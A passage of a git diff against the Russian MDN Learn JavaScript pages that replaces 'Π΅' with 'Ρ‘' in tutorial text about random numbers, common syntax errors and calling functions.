-<p>Π”Π°Π»ΡŒΡˆΠ΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π°Β <code>Math.random()</code> Ρ‡Π΅Ρ€Π΅Π·Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ округляСт число Π²Π½ΠΈΠ·, Π΄ΠΎ блиТайшСго Ρ†Π΅Π»ΠΎΠ³ΠΎ числа. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ добавляСм 1 ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ:</p>
+<p>Π”Π°Π»ΡŒΡˆΠ΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π°Β <code>Math.random()</code> Ρ‡Π΅Ρ€Π΅Π·Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ округляСт число Π²Π½ΠΈΠ·, Π΄ΠΎ блиТайшСго Ρ†Π΅Π»ΠΎΠ³ΠΎ числа. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ добавляСм 1 ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ:</p>
<pre><font><font>Math.floor(Math.random()) + 1;</font></font></pre>
-<p>ΠžΠΊΡ€ΡƒΠ³Π»Π΅Π½ΠΈΠ΅ случайного дСсятичного числа ΠΊ ΠΌΠ΅Π½ΡŒΡˆΠ΅ΠΌΡƒ, всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ 0, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊ Π½Π΅ΠΌΡƒ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ всСгда 1.Β  Нам Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠΈΡ‚ΡŒ случайноС число Π½Π° 100, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ ΠΎΠΊΡ€ΡƒΠ³Π»ΠΈΠΌ Π΅Π³ΠΎ ΠΊ ΠΌΠ΅Π½ΡŒΡˆΠ΅ΠΌΡƒ. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ строка Π²Π΅Ρ€Π½Π΅Ρ‚ Π½Π°ΠΌ случайноС число ΠΌΠ΅ΠΆΠ΄Ρƒ 0 ΠΈ 99:</p>
+<p>ΠžΠΊΡ€ΡƒΠ³Π»Π΅Π½ΠΈΠ΅ случайного дСсятичного числа ΠΊ ΠΌΠ΅Π½ΡŒΡˆΠ΅ΠΌΡƒ, всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ 0, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊ Π½Π΅ΠΌΡƒ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ всСгда 1.Β  Нам Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠΈΡ‚ΡŒ случайноС число Π½Π° 100, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ ΠΎΠΊΡ€ΡƒΠ³Π»ΠΈΠΌ Π΅Π³ΠΎ ΠΊ ΠΌΠ΅Π½ΡŒΡˆΠ΅ΠΌΡƒ. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ строка Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π½Π°ΠΌ случайноС число ΠΌΠ΅ΠΆΠ΄Ρƒ 0 ΠΈ 99:</p>
<pre class="brush: js"><font><font>Math.floor(Math.random() * 100);</font></font></pre>
@@ -167,9 +167,9 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<p>А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΈΡΠΏΡ€Π°Π²ΡŒΡ‚Π΅ ΠΎΠ±Π΅ строки с ошибками, Π·Π°Ρ‚Π΅ΠΌ сохранитС ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅, ΠΈΠ³Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΈ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ!</p>
-<h2 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_распространСнныС_ошибки">Π”Ρ€ΡƒΠ³ΠΈΠ΅ Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½Π΅Π½Π½Ρ‹Π΅Β ΠΎΡˆΠΈΠ±ΠΊΠΈ</h2>
+<h2 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_распространённыС_ошибки">Π”Ρ€ΡƒΠ³ΠΈΠ΅ Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½Ρ‘Π½Π½Ρ‹Π΅Β ΠΎΡˆΠΈΠ±ΠΊΠΈ</h2>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ распространСнныС ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅ Π² своСм ΠΊΠΎΠ΄Π΅. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· Π½ΠΈΡ….</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ распространённыС ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅ Π² своём ΠΊΠΎΠ΄Π΅. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· Π½ΠΈΡ….</p>
<h3 id="SyntaxError_отсутствуСт_ΠΏΠ΅Ρ€Π΅Π΄_постановкой"><font><font>SyntaxError: отсутствуСт ; </font><font>ΠΏΠ΅Ρ€Π΅Π΄ постановкой</font></font></h3>
@@ -209,7 +209,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<h3 id="SyntaxError_missing_after_property_id">SyntaxError: missing : after property id</h3>
-<p dir="ltr">Π­Ρ‚Π° ошибка ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ связана с Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированным ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ JavaScript, Π½ΠΎ Π² этом случаС Π½Π°ΠΌ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Π΅, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ²</p>
+<p dir="ltr">Π­Ρ‚Π° ошибка ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ связана с Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированным ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ JavaScript, Π½ΠΎ Π² этом случаС Π½Π°ΠΌ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ²</p>
<pre class="brush: js"><font><font>function checkGuess() {</font></font></pre>
@@ -226,12 +226,12 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<h3 id="SyntaxError_expected_expression_got_string_or_SyntaxError_unterminated_string_literal">SyntaxError: expected expression, got '<em>string</em>' or SyntaxError: unterminated string literal</h3>
-<p><font><font>Π­Ρ‚ΠΈ ошибки ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ пропустили ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ ΠΈΠ»ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΡƒ для строковых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. </font><font>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ошибки Π²Ρ‹ΡˆΠ΅,Β  </font></font><em><font><font>строка</font></font></em><font><font> Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Π΅Π½Π° Π½Π° Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΉ пСрсонаТ (Π΅ΠΉ) , </font><font>Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ нашСл вмСсто ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² Π½Π°Ρ‡Π°Π»Π΅ строки. </font><font>Вторая ошибка ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ , </font><font>Ρ‡Ρ‚ΠΎ строка Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π°ΡΡŒ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</font></font></p>
+<p><font><font>Π­Ρ‚ΠΈ ошибки ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ пропустили ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ ΠΈΠ»ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΡƒ для строковых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. </font><font>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ошибки Π²Ρ‹ΡˆΠ΅,Β  </font></font><em><font><font>строка</font></font></em><font><font> Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Π΅Π½Π° Π½Π° Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΉ пСрсонаТ (Π΅ΠΉ) , </font><font>Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°ΡˆΡ‘Π» вмСсто ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² Π½Π°Ρ‡Π°Π»Π΅ строки. </font><font>Вторая ошибка ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ , </font><font>Ρ‡Ρ‚ΠΎ строка Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π°ΡΡŒ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</font></font></p>
<p>ΠŸΡ€ΠΈ всСх этих ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… дСйствуйтС Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π² Π½Π°ΡˆΠΈΡ…Β  ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ рассмотрСли Π² пошаговом руководствС. Когда Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ошибка, посмотритС ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ строки, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΊ этой строкС ΠΈ посмотритС, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ. Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ошибка Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π° этой строкС, Π° Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ ошибка ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° Π½Π΅ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΈ Π²Ρ‹ΡˆΠ΅!</p>
<div class="note">
-<p><strong><font><font>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</font></font></strong><font><font> : Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ наш </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_token"><font><font>SyntaxError: НСоТиданный Ρ‚ΠΎΠΊΠ΅Π½</font></font></a><font><font> ΠΈ </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal"><font><font>SyntaxError: Π½Π΅Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Π°Ρ строка</font></font></a><font><font> эталонных страниц для получСния </font><font>Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± этих ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ….</font></font></p>
+<p><strong><font><font>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</font></font></strong><font><font> : Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ наш </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_token"><font><font>SyntaxError: НСоТиданный Ρ‚ΠΎΠΊΠ΅Π½</font></font></a><font><font> ΠΈ </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal"><font><font>SyntaxError: Π½Π΅Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Π°Ρ строка</font></font></a><font><font> эталонных страниц для получСния </font><font>Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± этих ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ….</font></font></p>
</div>
<h2 id="РСзюмС"><font><font>РСзюмС</font></font></h2>
@@ -243,7 +243,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<div>
<ul>
<li><font><font>Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ пСрСчислСны здСсь; </font><font>ΠΌΡ‹ составляСм ссылку , </font><font>которая ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ , </font><font>Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ - см. </font></font><a href="/en-US/docs/Web/JavaScript/Reference/Errors"><font><font>ссылку ошибки JavaScript</font></font></a><font><font> .</font></font></li>
- <li><font><font>Если Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с Π»ΡŽΠ±Ρ‹ΠΌΠΈ ошибками Π² ΠΊΠΎΠ΄Π΅, </font><font>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ , </font><font>ΠΊΠ°ΠΊ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ послС прочтСния этой ΡΡ‚Π°Ρ‚ΡŒΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠΌΠΎΡ‰ΡŒ! </font><font>БпроситС Π½Π° </font></font><a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294"><font><font>Π½ΠΈΡ‚ΡŒ обучСния ΠžΠ±Π»Π°ΡΡ‚ΡŒ дискурсС</font></font></a><font><font> , ΠΈΠ»ΠΈ Π² </font></font><a href="irc://irc.mozilla.org/mdn"><font><font>#mdn</font></font></a><font><font> IRC ΠΊΠ°Π½Π°Π» Π½Π° </font></font><a class="external external-icon" href="https://wiki.mozilla.org/IRC"><font><font>Mozilla IRC</font></font></a><font><font>. </font><font>РасскаТитС Π½Π°ΠΌ, какая</font><font> Ρƒ вас ошибка, ΠΈ ΠΌΡ‹ постараСмся Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ. </font><font>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ своСго ΠΊΠΎΠ΄Π° для большСй ясности ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</font></font></li>
+ <li><font><font>Если Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с Π»ΡŽΠ±Ρ‹ΠΌΠΈ ошибками Π² ΠΊΠΎΠ΄Π΅, </font><font>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ , </font><font>ΠΊΠ°ΠΊ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ послС прочтСния этой ΡΡ‚Π°Ρ‚ΡŒΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠΌΠΎΡ‰ΡŒ! </font><font>БпроситС Π½Π° </font></font><a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294"><font><font>Π½ΠΈΡ‚ΡŒ обучСния ΠžΠ±Π»Π°ΡΡ‚ΡŒ дискурсС</font></font></a><font><font> , ΠΈΠ»ΠΈ Π² </font></font><a href="irc://irc.mozilla.org/mdn"><font><font>#mdn</font></font></a><font><font> IRC ΠΊΠ°Π½Π°Π» Π½Π° </font></font><a class="external external-icon" href="https://wiki.mozilla.org/IRC"><font><font>Mozilla IRC</font></font></a><font><font>. </font><font>РасскаТитС Π½Π°ΠΌ, какая</font><font> Ρƒ вас ошибка, ΠΈ ΠΌΡ‹ постараСмся Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ. </font><font>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ своСго ΠΊΠΎΠ΄Π° для большСй ясности ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</font></font></li>
</ul>
</div>
diff --git a/files/ru/learn/javascript/howto/index.html b/files/ru/learn/javascript/howto/index.html
index 7286c9789f..5593d433c0 100644
--- a/files/ru/learn/javascript/howto/index.html
+++ b/files/ru/learn/javascript/howto/index.html
@@ -71,7 +71,7 @@ translation_of: Learn/JavaScript/Howto
<p>Π•ΡΡ‚ΡŒ ряд Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΉΡ‚ΠΈ Π½Π΅ Ρ‚Π°ΠΊ с функциями.</p>
-<p>Одна ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ошибок - ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½ΠΎ Π½Π΅ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π΅ Π½ΠΈΠ³Π΄Π΅. НапримСр</p>
+<p>Одна ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ошибок - ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½ΠΎ Π½Π΅ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Ρ‘ Π½ΠΈΠ³Π΄Π΅. НапримСр</p>
<p>:</p>
@@ -79,7 +79,7 @@ translation_of: Learn/JavaScript/Howto
alert('This is my function.');
};</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сдСлаСт, Ссли Π²Ρ‹ Π΅Π³ΠΎ Π½Π΅ Π½Π°Π·ΠΎΠ²Π΅Ρ‚Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сдСлаСт, Ссли Π²Ρ‹ Π΅Π³ΠΎ Π½Π΅ Π½Π°Π·ΠΎΠ²Ρ‘Ρ‚Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</p>
<pre class="brush: js">myFunction();</pre>
@@ -93,7 +93,7 @@ translation_of: Learn/JavaScript/Howto
<p>ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ JavaScript Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ - Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ ΠΊΠΎΠ΄  послС выполнСния ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° return Π½Π΅ выполняСтся.</p>
-<p>ЀактичСски, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Firefox) Π²Ρ‹Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ сообщСниС ΠΎΠ± ошибкС Π² консоли Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ΄ послС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° return. Firefox Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ «нСдостиТимый ΠΊΠΎΠ΄ послС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°Β».</p>
+<p>ЀактичСски, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Firefox) Π²Ρ‹Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ сообщСниС ΠΎΠ± ошибкС Π² консоли Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ΄ послС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° return. Firefox Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ «нСдостиТимый ΠΊΠΎΠ΄ послС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°Β».</p>
<p>Β </p>
diff --git a/files/ru/learn/javascript/index.html b/files/ru/learn/javascript/index.html
index 586c33a969..4e58a5299e 100644
--- a/files/ru/learn/javascript/index.html
+++ b/files/ru/learn/javascript/index.html
@@ -27,7 +27,7 @@ translation_of: Learn/JavaScript
<p>ПослС изучСния основ JavaScript Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΠΊ ознакомлСнию с Π±ΠΎΠ»Π΅Π΅ слоТными Ρ‚Π΅ΠΌΠ°ΠΌΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<ul>
- <li>Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½Ρ‹ΠΉ курс JavaScript, ΠΈΠ·Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² нашСм <a href="/ru/docs/Web/JavaScript/Guide">РуководствС ΠΏΠΎ JavaScript</a></li>
+ <li>Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½Ρ‹ΠΉ курс JavaScript, ΠΈΠ·Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² нашСм <a href="/ru/docs/Web/JavaScript/Guide">РуководствС ΠΏΠΎ JavaScript</a></li>
<li><a href="/ru/docs/Web/API">ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ интСрфСйс WebAPI</a></li>
</ul>
@@ -37,7 +37,7 @@ translation_of: Learn/JavaScript
<dl>
<dt><a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги">ΠŸΠ΅Ρ€Π²Ρ‹Π΅ шаги Π² JavaScript</a></dt>
